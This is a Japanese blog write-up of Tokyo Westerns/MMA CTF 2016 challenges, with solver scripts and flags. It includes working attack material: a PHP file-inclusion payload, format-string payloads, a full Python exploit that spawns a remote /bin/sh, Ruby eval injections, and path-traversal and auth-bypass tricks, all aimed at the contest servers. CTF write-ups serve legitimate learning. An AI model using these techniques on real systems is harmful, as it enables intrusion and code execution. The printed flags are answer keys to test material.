LoginSignup
5
6

More than 5 years have passed since last update.

Tokyo Westerns/MMA CTF 2nd 2016 write-up

Last updated at Posted at 2016-09-05

Tokyo Westerns/MMA CTF 2nd 2016 に参加した。問題がとても面白いし、日本語もあるので、ありがたい。

superflipは1660点、39位。もう少し点を取りたかった。

image

Welcome!!

TWCTF{Welcome_To_TW_MMACTF!!}

Global Page

?page=tokyoで、tokyo/ja.phpとかtokyo/en-US.phpとかが読み込まれる。pageはディレクトリトラバーサル対策されている。jaの部分がブラウザのAccept-Languageでこちらは対策されていなかった。includeで読んでいるらしく、PHPコードが処理されているので、フィルタを掛ける。pagephp:にして、Accept-Language:/filter/read=convert.base64-encode/resource=/var/www/globalpage/indexにすると、index.phpをBase64エンコードしたものが手に入る。index.phpを読むとflag.phpincludeしているので、同様に読む。

TWCTF{I_found_simple_LFI}

judgement

書式指定文字列攻撃ができる。「Warmpupラベルが付いているのに面倒だな……」と思っていたけど、表示するべきフラグを示すアドレスがスタック上にあったので、%28$sを指定するだけだった。この記法で、何番目の引数を表示するのか指定できる。

>nc pwn1.chal.ctf.westerns.tokyo 31729
Flag judgment system
Input flag >> %28$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

Make a Palindrome!

単語を並び替えて、繋いだときに回文になるようにしなさいという問題。単語数が最大で10なので、10!通り試すだけ。ありがたいことに、サーバーとやり取りするサンプルプログラムまであるので、あとは探索を書くだけ。この問題、Nがいくつくらいまで解けるのか気になる。

import itertools

    :

    # words: input
    # answer: answer
    ##  Please write some code here

    for w in itertools.permutations(words):
        if "".join(w)=="".join(w)[::-1]:
            answer = w
            break

TWCTF{Charisma_School_Captain}
TWCTF{Hiyokko_Tsuppari}

Rescue Data 1: deadnas

簡単に解けたのに、異様に解いているチームが少なくて不思議だった。みんなどこに嵌まっていたのだろう? 3台のNASのうち1台が壊れたらしい。ググってみると、RAID-5の仕組みはとても単純で、単に3台のxorが0になるようにしているだけらしい。1台壊れるのの対策ならこれで充分なのか。あとは512バイトずつかき集めれば良い。

disk0 = open("deadnas\\disk0", "rb").read()
disk1 = ""
disk2 = open("deadnas\\disk2", "rb").read()

for i in range(0, len(disk0)):
    disk1 += chr(ord(disk0[i])^ord(disk2[i]))
open("disk1", "wb").write(disk1)

disk = ""
p = 2
for i in range(0, len(disk0), 512):
    if p!=0: disk += disk0[i:i+512]
    if p!=1: disk += disk1[i:i+512]
    if p!=2: disk += disk2[i:i+512]
    p = (p-1)%3
open("disk", "wb").write(disk)

TWCTF{91e4a0ac663095ba0c68ba786e489c1a}

Twin Primes

双子素数を使ったRSA暗号。2組の双子素数p, p+2, q, q+2を使って、pqp+2q+2でそれぞれRSA暗号鍵を作り、2重に暗号化している。これはひどい。この発想は無かったw n1n2を引き算すると、p+q(下のコード中のx)が手に入る。n=p*qp+qがあるので、xyが実数の場合と同じように解けば良い。

n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859
enc = 7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929

from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA

x = (n2-n1-4)/2

l = 1
r = x/2
while True:
    m = (l+r)/2
    t = m*(x-m)
    if t==n1:
        break
    if t<n1:
        l = m
    else:
        r = m

p = m
q = x-m

n1 = p*q
n2 = (p+2)*(q+2)
e = long(65537)
d1 = inverse(e, (p-1)*(q-1))
d2 = inverse(e, (p+1)*(q+1))
rsa1 = RSA.construct((n1, e, d1))
rsa2 = RSA.construct((n2, e, d2))

c = rsa2.decrypt(enc)
c = rsa1.decrypt(c)

print ("%x"%c).decode("hex")

TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}

Reverse Box

解析問題。暗号化器と暗号文が与えられるので、復号しろと。逆アセンブルとしてみると、置換表を作ってから、文字を置き換えているらしい。置換表生成のコードが長くて「Warmpupラベルが付いているのに面倒だな……」と思ったけど、最初にrand()%256をしていて、ランダムな部分がここしかないので、256通りしか無いらしい。フラグの形式はTWCTF{???}と言われているので、

while true
do
  ./reverse_box TWCTF{0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-}
  sleep 1
done

として、大量に暗号文を作り、問題と先頭が一致するものを探せば、置換表が手に入る。

a = "TWCTF{0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-}"
b = "95eeaf95ef94b1729676ad23b02fb2a75a1f4ef6f88630f04cb7cae5892a1de416f53a27288d4009036f3699afaedbef15e78e63069c569a31e664b558954904eedf7e0b7a6d4a"
T = {}
for i in range(len(a)):
    T[b[i*2:i*2+2]] = a[i]

Q = "95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a"
A = ""
for i in range(0, len(Q), 2):
    A += T[Q[i:i+2]]
print A

TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}

greeting

書式指定文字列攻撃。今度はプログラム中でフラグを読み込んだりはしていないので、シェルを実行する必要がある。わざわざsystem("echo ~")で文字列を出力している箇所があるので、/bin/shを引数にしてこのsystemを呼び出せば良さそう。

return addressや送り込む/bin/shはスタック上にあるので、スタックのアドレスを知る必要があるが、printfを実行した後プログラムはすぐに終了してしまう。何か無いかと探したところ、main終了後に.fini_arrayに書かれたアドレスが呼び出されるらしいと分かった。このアドレスを上書きしてmainにもう一度飛ばせば、1度目でスタックのアドレスを出力して2度目でそれに応じて値を上書きできる。送れる文字数にあまり余裕が無いけど、下位ビットだけ書き換えれば良い。mainのreturn addressは上位アドレスも違うので、printf自体からのreturn addressを狙った。

# coding:utf-8

from socket import *
from time import *
from struct import *
from telnetlib import *

def p(a):
    return pack("<I", a)

s = socket(AF_INET, SOCK_STREAM)
#s.connect(("localhost", 1234))
s.connect(("pwn2.chal.ctf.westerns.tokyo", 16317))

a_fini_array    = 0x08049934
a_main          = 0x080485ed
a_system        = 0x08048779
cmd             = "/bin/sh #"

sleep(1)
print s.recv(1000)

s.send("aa"+p(a_fini_array)+"%"+str((a_main-24)%256)+"c%12$hhn !%2$x!\n")
r = s.recv(1000)
print r
esp = int(r.split("!")[1], 16) - 0x5c
print "esp: %08x"%esp

"""
# 1度目と2度目のスタックアドレスの差を調べる
s.send("!%2$x!\n")
r = s.recv(1000)
print r
esp2 = int(r.split("!")[1], 16) - 0x5c
print "esp2: %08x"%esp2
print "esp_diff: %08x"%(esp2-esp)
"""

esp -= 0xe0

t = "aa"
t += p(esp-4)
t += p(esp-3)
t += p(esp)

t += "%"+str((a_system-32)%256)+"c%12$hhn"
x = a_system/256-a_system
t += "%"+str(x%256)+"c%13$hhn"
t += "%"+str((esp+0xf4-len(cmd)-x)%256)+"c%14$hhn"

t += " "*(0x3f-len(t)-len(cmd))
t += cmd

print repr(t)
s.send(t+"\n")

t = Telnet()
t.sock = s
t.interact()

Super Express

暗号化された文字列の復号。

    for a, b in zip(key[0:n], key[n:2*n]):
        c = (ord(a) * c + ord(b)) % 251

こんな暗号化。

a3*(a2*(a1*c+b1)+b2)+b3 = a3*a2*a1*c+b1*a2*a3+b2*a3+b3

だから、keyがいくら長くても1個の場合と難易度は変わらない。

q = "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"
Q = []
for i in range(0, len(q), 2):
    Q += [int(q[i:i+2], 16)]

for a in range(251):
    for b in range(251):
        if (ord("T")*a+b)%251==Q[0] and (ord("W")*a+b)%251==Q[1]:
            print a, b
            A = ""
            for q in Q:
                for i in range(0x20,0x7f):
                    if (i*a+b)%251==q:
                        A += chr(i)
            print A

TWCTF{Faster_Than_Shinkansen!}

rps-ng

ジャンケンに40/50以上勝てという問題。敵AIは、こちらが最後に出した手ごとに、次にどの手を何回出したかを覚えていて、最も回数の多い手に勝てるような手を出してくる。それだけだと出す手が完全に読めてしまうので、どの手を何回出したかというテーブルを0-5の乱数で初期化している。

ある程度回数が進めば、テーブルの値を推測できる。テーブルの値は相対的にしか意味が無い(1, 2, 3も2, 3, 4も同じ)ので、試すべきパターンは6^3から11^2に減らせる。テーブルが推測できないうちは、なるべく敵の手が変化するように一度負けたら別の手を出す。テーブルの値が一意に定まらなくても、相手の出す手が決まればそれで良い。というあたりが工夫。

from socket import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("ppc1.chal.ctf.westerns.tokyo", 15376))

sleep(1)
print s.recv(1000)

S = []
E = []
last = 0
n = 0

def guess():
    cand = set()
    for pn in range(-5, 6):
        for sn in range(-5, 6):
            table = [0, pn, sn]
            ok = True
            l = 0
            for i in range(n):
                if l==last:
                    m = -1
                    ret = 0
                    for j in range(3):
                        if m<table[j]:
                            m = table[j]
                            ret = j
                    e = (ret+1)%3
                    if e != E[i]:
                        ok = False
                        break
                    table[S[i]] += 1
                l = S[i]
            if ok:
                m = -1
                ret = 0
                for j in range(3):
                    if m<table[j]:
                        m = table[j]
                        ret = j
                e = (ret+1)%3
                cand.add(e)
    print cand
    return cand.pop() if len(cand)==1 else -1

while True:
    g = guess()
    if g>=0:
        hand = (g+1)%3
    else:
        for h in range(3):
            ok = True
            for i in range(n):
                l = S[i-1] if i>0 else 0
                if l==last and S[i]==h and E[i]!=(S[i]-1)%3:
                    ok = False
            if ok:
                hand = h
                break
        else:
            hand = 0

    s.send("RPS"[hand]+"\n")
    sleep(0.2)
    r = s.recv(1000)
    print r
    S += [hand]
    E += ["RPS".index(r.split("-")[1][0])]

    last = hand
    n += 1

TWCTF{The_hand_is_determined_by_mien}

Private / Local / Comment

任意のRubyコードをevalしてくれるので、それを使ってフラグを読めという言語知識問題。Rubyはほとんど使ったことが無いのでつらかった。

Private

プライベート変数の値がフラグ。Rubyはインスタンスにメソッドを追加できるので、フラグを読むメソッドを追加すれば良い。

def p.f;flag;end;p.f;

TWCTF{PrivatePreview}

Local

これから呼び出される関数のローカル変数の値がフラグ。RubyのAPIを眺めていたら、デバッグ用にset_trace_funcという関数があって、ここに関数を登録しておくとコードを実行する度に呼び出してくれるということを知った。ここにはその文が実行されたときのコンテキストも付いているので、これを使えば良い。

set_trace_func lambda{|e,f,l,i,b,k|l!=6 or b.eval("p flag")}

問題文(抜粋)が↓で、この解法だと3行目のxが不要なので、想定解法ではない気がする。

def get_flag(x)
  flag = "TWCTF{CENSORED}"
  x
end

STDOUT.puts get_flag(eval(input))

TWCTF{EnjoyC0untryLife}

Comment

解けなかった。requireされたモジュール中のコメント。Rubyのソースコードを眺めてみたりしたけど、分からなかった。

IRCに書かれていた答えは、ObjectSpace.each_object(String){|x|x[15]=='{'and print x}ObjectSpaceなんてものがあるのか。

Lights Out!

切り替わるマスの形がちょっと変わったライツアウト。SATソルバーZ3Pyに投げたら、1問目は解けたけど、2問目は1日以上動かしてもダメだった。他の人の解法を見ると、行列で解けるらしい。普通に解いたら無理だけど、疎であることを使うと何とかなると。行列で何とかなるならZ3が何とかしてくれるだろと思っていた。甘かった。チェスボードの白と黒で干渉することが無いので分けて計算したが、特に効果無し。

from z3 import *

Q = "1101110001000001000111011"
W = 5

# Normal

# Lunatic

assert W*W==len(Q)

C = []
for y in range(W):
    C += [[]]
    for x in range(W):
        C[y] += [Bool("%d_%d"%(x, y))]

dx = [-2, -1, 0, 1, 2, 1, 0, -1]
dy = [0, 1, 2, 1, 0, -1, -2, -1]

s0 = Solver()
s1 = Solver()

for y in range(W):
    for x in range(W):
        t = []
        for d in range(8):
            tx = x + dx[d]
            ty = y + dy[d]
            if 0<=tx<W and 0<=ty<W:
                t += [C[ty][tx]]
        if (x+y)%2==0:
            s0.add(reduce(Xor, t)==(Q[y*W+x]=="1"))
        else:
            s1.add(reduce(Xor, t)==(Q[y*W+x]=="1"))
print s0.check()
print s1.check()

m0 = s0.model()
m1 = s1.model()
for y in range(W):
    for x in range(W):
        if (x+y)%2==0:
            print str(m0[C[y][x]])[0],
        else:
            print str(m1[C[y][x]])[0],
    print

TWCTF{peaceful_tea_party}

Get the admin password!

解けなかった。ただログイン画面があるだけで全く方針が分からないのに、解いているチーム数だけが増えていくのを指を咥えてみていた。MongoDB Injectionか……。ページタイトルのadmin(10)が何かのヒントかと思ったけど、関係無かったのだろうか?

Poems

Slim Frameworkで作られたサイト。/adminを開ければ良いのだけど、Digest認証が掛かっている。でも与えられたソースコードを見ても、認証を掛けている処理は無い。Apacheで/adminに制限を掛けているらしい。→ /index.php/adminを開けば終わり。/adminではないので、Apacheはスルーするけれど、Slimにしてみれば/adminと同じ。

TWCTF{MemorysArt}

Rotten Uploader

解けなかった。ディレクトリトラバーサル脆弱性のあるアップローダー。フラグのファイルのファイル名が書かれたfile_list.phpが読みたいのだけど、file_listを含むリクエストだけは弾いている。

IRCに貼られていた答え。 f=../file_l~1.php。Windowsの短いファイル名……。そんなのあったな……。

Tsurai Web

解けなかった。PythonのFlask製アップローダー。アップロードしたファイルを元のファイル名で保存したり、ファイルのリストは.pyファイルに保存してimportで読み込んでいたり、色々危ういのだけど、どうして良いかは分からず。

IRCによると、__init__.pyをアップロードすれば良いとのこと。なるほど。ファイルの保存先がdata/md5(id)/でファイルリストの保存先がdata/md5(id).py__init__.pyがあると、ディレクトリのほうが優先的に読み込まれるのか。

Broken NTFS

これね……。普通は解いている人数が多い問題から順に解いていって、誰も解いていない問題なんて手を付けないのだけど、俺は詳しいんだと勇んで突っ込んだ。

openssl aes-256-cbc -e -in /tmp/flag.jpg -out /mnt/flag:flag -pass file:<(openssl aes-256-cbc -e -in ./key -pass pass:`pwd`/key -nosalt)

これを実行したHDDが壊されたという話。何を復元すれば良いかというと、flag:flagkeykeyの置いてあるパス。ディスクイメージを見てみると、MFTの$MFT自身の場所が潰されている。NTFSはここが壊れたときに備えて、$MFTMirrorというバックアップを用意しているのだけど、ちゃんと潰されていた。

MFTを復元してマウントして読む方法と、自分でファイルをリストアップする方法が考えられる。後者にした。後から気が付いたけど、$MFTが断片化していたので後者の方が楽だったと思う。MFTの各レコードは(デフォルトだと)1024バイトごとに並んでいるし、先頭にFILEというシグネチャがあるので、ディスク全体を読んで拾い集めれば良い。

flag:flagは消されていたし、2個に断片化していたけど、簡単。

keyを探すと大量にあった。ディレクトリも大量にあるので、この中から正しいkeyを探せというのがキモらしい。以前にNTFSについて調べたときはディレクトリは気にしていなかった。構造はこのPDFに載っていた。フォルダ中のフォルダやファイルが少なくて、全てB+木のルートしか無いので、特に難しくはなかった。フォルダ中のフォルダやファイルはMFTの何番目のレコードかで指定されている。MFTが断片化しているので困ったけど、XPまではレコード中に自身の番号が書かれているらしい

どのkeyが正しいkeyか。最初は、9万個程度なので、全部試して復号結果にJPEGのシグネチャが含まれているかどうかを調べたけど、出てきたのはたまたまシグネチャと一致したファイルだけ。次に、もしかしたらJPEGではないかもと思い、正しく復号できたファイルかどうかで判断しようとした。パディングのルール上、エラー無く復号できるファイルは1/256程度しかない。さらにほとんどのファイルは暗号化されたファイルより1バイト小さいだけなので、もっと小さいものがあればそれが答えだと思ったけど、これも不発。WindowsのOpenSSLだと何か実装が違うのかもと考え、Linuxで試したけど、ダメ。正しいkeyの判定方法はアクセス時刻だった。keyのアクセス時刻を列挙してみると、ほとんどはUNIXエポックだが、1個だけ違うファイルがあった。でも、これでも復号はできなかった。

しょうがないので、運営に「本当に問題文のコマンド合ってる?」と訊いたところ、「間違っていた」と言われた。訊いてみるものだな。人がどれだけ悩んだと……(#^ω^)ビキビキ とはいえ、最終的に3チームしか解けなかった問題でファーストアクセプトが取れたの満足。

image

image

CTFではいつも何十チームも解いている問題だけ解いて終わってしまうけど、点数が高めの問題を解くにはやはり事前にその分野について勉強しておくことが必要なのかもしれない。

余談:この問題を解いているときにパディングがおかしい以外のエラーが出ることがあって、何が原因かと思ったら、鍵にしているファイルの先頭が0x00のときだった。OpenSSLで鍵に指定したファイルは0x00までしか読んでくれないらしい。ランダムに生成したバイナリファイルを鍵にするような場合は1/256の確率で先頭1バイトしか使われないし、JPEG画像を鍵にするような使い方もアウト。覚えておこう。

試行錯誤の後が見られるスクリプト。

from struct import *
from sys import *
import os

f = open("ntfs.dd", "rb")
offset = 0

class C:
    pass

file = {}

while True:
    if offset>0x146ff400:
        break

    if offset%0x1000000==0:
        print >>stderr, hex(offset)

    record = f.read(0x400)
    if record[:4]!="FILE":
        offset += 0x400
        continue

    attr, flag = unpack("<HH", record[0x14:0x18])

    # TODO: update sequence

    name = ""
    data = ""
    entry = []
    entry_name = []
    while True:
        if record[attr:attr+4]=="\xff\xff\xff\xff":
            break
        header = unpack("<IIBBBBIIHH", record[attr:attr+0x18])
        id, size, form, _, _, _, _, csize, coffset, _ = header

        if id==0x30:
            assert form==0
            o = attr+coffset+0x40
            l = unpack("<H", record[o:o+2])[0]
            name = record[o+2:o+2+l*2].decode("utf16")

        if id==0x80:
            if form==0:
                data = record[attr+coffset:attr+coffset+csize]

        if id==0x90:
            o = attr+coffset+0x20
            while True:
                rec = unpack("<I", record[o:o+4])[0]
                s = unpack("<H", record[o+8:o+10])[0]
                if rec==0:
                    break
                l = unpack("<H", record[o+0x50:o+0x52])[0]
                n = record[o+0x52:o+0x52+l*2].decode("utf16")
                entry += [rec]
                entry_name += [n]
                o += s
        attr += size

    if 0<len(name)<32:
        #num = (offset-0x4000)/0x400
        num = unpack("<I", record[0x2c:0x30])[0]

        # print num, flag, repr(name), repr(data), entry, entry_name

        t = C()
        t.flag = flag
        t.name = name
        t.data = data
        t.entry = entry
        t.entry_name = entry_name
        t.access = unpack("<Q", record[0x68:0x70])[0]
        file[num] = t

        # if num >= 1000:
        #   break
    offset += 0x400

for num in file:
    file[num].root = True
for num in file:
    for e in file[num].entry:
        if e in file:
            file[e].root = False
        else:
            print "!", hex(0x4000+num*0x400), hex(0x4000+e*0x400), hex(num), hex(e)

"""
for num in file:
    for i in range(len(file[num].entry)):
        print file[file[num].entry[i]].name, file[num].entry_name[i]
        assert file[file[num].entry[i]].name == file[num].entry_name[i]
"""

count = 0
def test(path, data):
    global count
    count += 1
    print count

    open("key", "wb").write(data)
    # os.system("" % ("/mnt"+path))
    #f = "data\\"+path.replace("/", "_")+".jpg"
    #f = "M:\\"+path.replace("/", "_")+".jpg"
    f = "data/"+path.replace("/", "_")+".jpg"
    #print "bash -c 'openssl aes-256-cbc -d -in flagenc.jpg -out %s -pass file:<(openssl aes-256-cbc -e -in key -pass pass:%s -nosalt)'" % (f, "/mnt"+path)
    os.system("bash -c 'openssl aes-256-cbc -d -in flagenc.jpg -out %s -pass file:<(openssl aes-256-cbc -e -in key -pass pass:%s -nosalt)'" % (f, "/mnt"+path))

    try:
        if open(f, "rb").read(2) != "\xff\xd8":
            # os.system("del %s" % f)
            os.system("rm %s" % f)
    except:
        pass

def BT(f, p):
    if file[f].name=="key":
        if file[f].access!=116444736000000000:
            print p+"/key", hex(file[f].access), repr(file[f].data)
        # test(p, file[f].data)
    else:
        for e in file[f].entry:
            if e in file:
                BT(e, p+"/"+file[f].name)
for f in file:
    if file[f].root:
        BT(f, "")

TWCTF{e7e67b68e738b7a50e588af0f26dc89a}

glance

「これは電車のドアの隙間から見た光景です.」とのことで細いGIF画像が与えられた。

convert +adjoin glance.gif glance.gif

でバラバラにして、並べるのはどうすれば良いのか分からないから、<img>タグを並べたHTMLファイルを作った。convertコマンドでできたらしい

TWCTF{Bliss by Charles O'Rear}

ninth

PNG画像が与えられて「フラグを探してください」なのに「画像ベースのステガノグラフィーの問題ではありません」

PNG画像のチャンクを解凍してみたら、末尾にテキストのフラグが付いていた。

TWCTF{WAMP_Are_You_Ready?}

5
6
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
6